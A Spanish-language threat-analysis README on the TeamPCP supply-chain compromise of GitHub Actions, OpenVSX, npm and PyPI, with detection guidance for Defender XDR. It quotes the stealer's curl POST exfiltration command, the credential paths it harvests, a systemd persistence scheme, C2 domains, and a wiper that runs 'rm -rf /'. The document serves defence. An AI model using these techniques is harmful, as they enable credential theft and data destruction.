Ataque a la cadena de suministro TeamPCP: Guía de análisis técnico y detección

CVE-2026-33634 (CVSS 9.4) — El ataque a la cadena de suministro CI/CD más impactante de 2026 hasta ahora.

Entre el 19 y el 25 de marzo de 2026, el actor de amenazas TeamPCP (también rastreado como DeadCatx3, PCPcat, ShellForce, CanisterWorm) ejecutó un compromiso en cascada de la cadena de suministro en cinco ecosistemas: GitHub Actions, Docker Hub, OpenVSX, npm y PyPI. Partiendo de un único PAT de GitHub rotado de forma incompleta, la campaña se propagó a dos importantes proveedores de seguridad de código abierto (Aqua Security y Checkmarx), cuatro repositorios de GitHub Actions, dos extensiones de VS Code, registros de contenedores y más de 66 paquetes npm.

Este repositorio proporciona un desglose técnico completo, listas de IOC seleccionadas (probadas contra falsos positivos) y consultas de detección listas para implementar en Microsoft Defender XDR.

Tabla de contenido

• Cronología del ataque
• Desglose de la cadena de eliminación
• Artefactos comprometidos
• Mecánica del ladrón de credenciales
• CanisterWorm — Propagación en npm
• Componente wiper dirigido a Irán
• Detección y búsqueda de amenazas
• Lista de IOC
• Notas sobre el filtrado de falsos positivos
• Mapeo MITRE ATT&CK
• Referencias

Cronología del ataque

Desglose de la cadena de eliminación

Fase 1 — Acceso inicial

Causa raíz: rotación incompleta de credenciales tras la brecha del 28 de febrero. El PAT de la cuenta de servicio aqua-bot no fue revocado o el atacante observó el nuevo token durante la rotación.

TeamPCP utilizó este acceso retenido para hacer force-push de etiquetas de versión a commits impostores maliciosos. Cada commit falsificado clonaba los metadatos del original (autor, marca de tiempo, mensaje) mientras reemplazaba el script de punto de entrada por el payload del ladrón. La página de lanzamiento de GitHub no mostraba ningún cambio visible: incluso la insignia "Immutable" se mostraba con normalidad.

Fase 2 — Ejecución del payload

El ladrón — un entrypoint.sh de 204 líneas que se autodenomina "TeamPCP Cloud stealer" — ejecuta un ataque en tres etapas:

Etapa 1: Raspado de memoria

Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

Etapa 2: Barrido de credenciales en el sistema de archivos

Escanea más de 50 rutas sensibles, incluyendo:

• Claves SSH (~/.ssh/*)
• Credenciales de AWS/GCP/Azure
• Tokens y configuraciones de Kubernetes
• Credenciales de registro de Docker
• Archivos de estado de Terraform
• Billeteras de criptomonedas (Solana, Bitcoin, Ethereum, Cardano)
• Tokens de npm (~/.npmrc)
• Historiales de shell
• Archivos .env

Etapa 3: Exfiltración cifrada

• Empaqueta todos los datos recopilados en tpcp.tar.gz
• Cifra con AES-256-CBC (clave de sesión aleatoria) + RSA-4096/RSA-OAEP (clave pública del atacante)
• Exfiltra mediante curl POST a dominios typosquat específicos del proveedor
• Respaldo: crea un repositorio tpcp-docs o docs-tpcp en la cuenta de GitHub de la víctima usando el GITHUB_TOKEN robado

Fase 3 — Persistencia

En sistemas Linux que no son de CI, el malware:

1. Crea el directorio oculto ~/.config/sysmon/
2. Deja caer una puerta trasera en Python (sysmon.py)
3. Instala un servicio de usuario de systemd que consulta el C2 cada 50 minutos
4. Interruptor de apagado (kill switch): si la respuesta del C2 contiene "youtube", la puerta trasera omite la ejecución

Fase 4 — Movimiento lateral (ola Checkmarx)

Las credenciales robadas en la ola Trivy permitieron comprometer el ecosistema de Checkmarx. Cada nueva ola utilizó un dominio C2 typosquat diferente para evadir las listas de bloqueo de la ola anterior:

Artefactos comprometidos

GitHub Actions

Extensiones de OpenVSX (VS Code Marketplace NO afectado)

Ambas extensiones se publicaron con 12 segundos de diferencia a las 12:53 UTC del 23 de marzo mediante la cuenta ast-phoenix. Al activarse, environmentAuthChecker.js busca credenciales de proveedores de nube y luego descarga un ladrón de segunda etapa desde checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Imágenes de contenedor

PyPI

Payload base64 de triple anidamiento con kit de movimiento lateral en K8s. Persistencia mediante sysmon.service que consulta checkmarx.zone/raw.

Mecánica del ladrón de credenciales

El patrón de exfiltración es idéntico en todas las olas:

curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

La estrategia de dominio typosquat es deliberada: un analista que revisa los registros de CI/CD ve tráfico curl hacia lo que parece el propio dominio del proveedor de la acción. Sin una comparación cuidadosa, scan.aquasecurtiy.org pasa por aquasecurity.org en una revisión rápida de registros.

Solo el atacante puede descifrar los datos robados: la clave de sesión AES está cifrada con RSA-OAEP usando su clave pública.

CanisterWorm — Propagación en npm

En las 24 horas posteriores al compromiso de Trivy, los tokens npm robados permitieron un gusano autopropagante en más de 66 paquetes (141 artefactos maliciosos).

Qué hace notable a CanisterWorm:

• Primer malware npm documentado que usa un canister de blockchain ICP (Protocolo de la Computadora de Internet) como C2
• El canister en tdtqy-oyaaa-aaaae-af2dq-cai es un contrato inteligente descentralizado: no existe un único punto de derribo
• Expone 3 métodos: get_latest_link, http_request, update_link
• El atacante puede rotar los payloads en todas las máquinas infectadas sin volver a publicar ningún paquete npm
• Interruptor de apagado: si el canister devuelve una URL que contiene youtube.com, la puerta trasera se duerme
• Persistencia: servicio de usuario de systemd que se hace pasar por pgmon (monitoreo de PostgreSQL)
• Intervalo de consulta: cada 50 minutos
• Binario depositado en /tmp/pglog, estado rastreado en /tmp/.pg_state

Ámbitos comprometidos conocidos: @emilgroup/*, @teale.io/* (variante autopropagante en @teale.io/eslint-config v1.8.11, v1.8.12)

Componente wiper dirigido a Irán

Una variante destructiva ataca específicamente sistemas iraníes:

1. Kubernetes + Irán: despliega DaemonSets privilegiados en cada nodo (incluido el plano de control), borra y fuerza el reinicio mediante el contenedor llamado kamikaze
2. Kubernetes + no Irán: instala la puerta trasera CanisterWorm como servicio systemd
3. No K8s + Irán: ejecuta rm -rf / --no-preserve-root con sudo
4. No K8s + no Irán: no realiza ninguna acción

La detección se realiza mediante comprobaciones de zona horaria y configuración regional del sistema.

Detección y búsqueda de amenazas

Microsoft Defender XDR — Regla de detección personalizada

Nombre de la regla: TeamPCP Supply Chain C2 and Malware IOC Match
Gravedad: Alta
Categoría: CommandAndControl
Frecuencia: Cada 1 hora

Consulta detection/defender_xdr_query.kql para ver la consulta KQL completa.

La consulta cubre:

• 7 hashes SHA256 de archivos (ladrón + variantes de CanisterWorm)
• 2 direcciones IP de C2
• 4 dominios C2 (typosquats + canister ICP)
• 4 URL C2 específicas
• Comprobaciones de resolución DNS

Importación de indicadores Defender TI

Se proporciona un CSV listo para importar en iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Este archivo ha sido probado contra falsos positivos en un entorno empresarial de producción.

Otras plataformas

Lista de IOC

Hashes de archivo (SHA256)

IOCs de red

Rutas URL C2

Artefactos de persistencia

Repositorios de exfiltración de GitHub (respaldo)

Notas sobre el filtrado de falsos positivos

Las consultas de detección y el CSV de IOC de este repositorio se han probado en un entorno de producción que ejecuta:

• Ansible AWX/Tower con colecciones community.general y kubernetes.core
• Claude Code y GitHub Copilot en estaciones de trabajo de desarrollo macOS
• Agente FortiMonitor (consulta de IMDS)
• Oracle AHF en instancias OCI (consulta de IMDS)
• Diversas cadenas de herramientas de desarrollo Python/Node.js

Los siguientes IOCs fueron eliminados debido a falsos positivos confirmados:

Mapeo MITRE ATT&CK

Referencias

Licencia

MIT: úsalo, compártelo y adáptalo libremente. Se agradece la atribución.

Autor: Ugur Can Ates — Líder de equipo SOC y ingeniero sénior de seguridad
Última actualización: 25 de marzo de 2026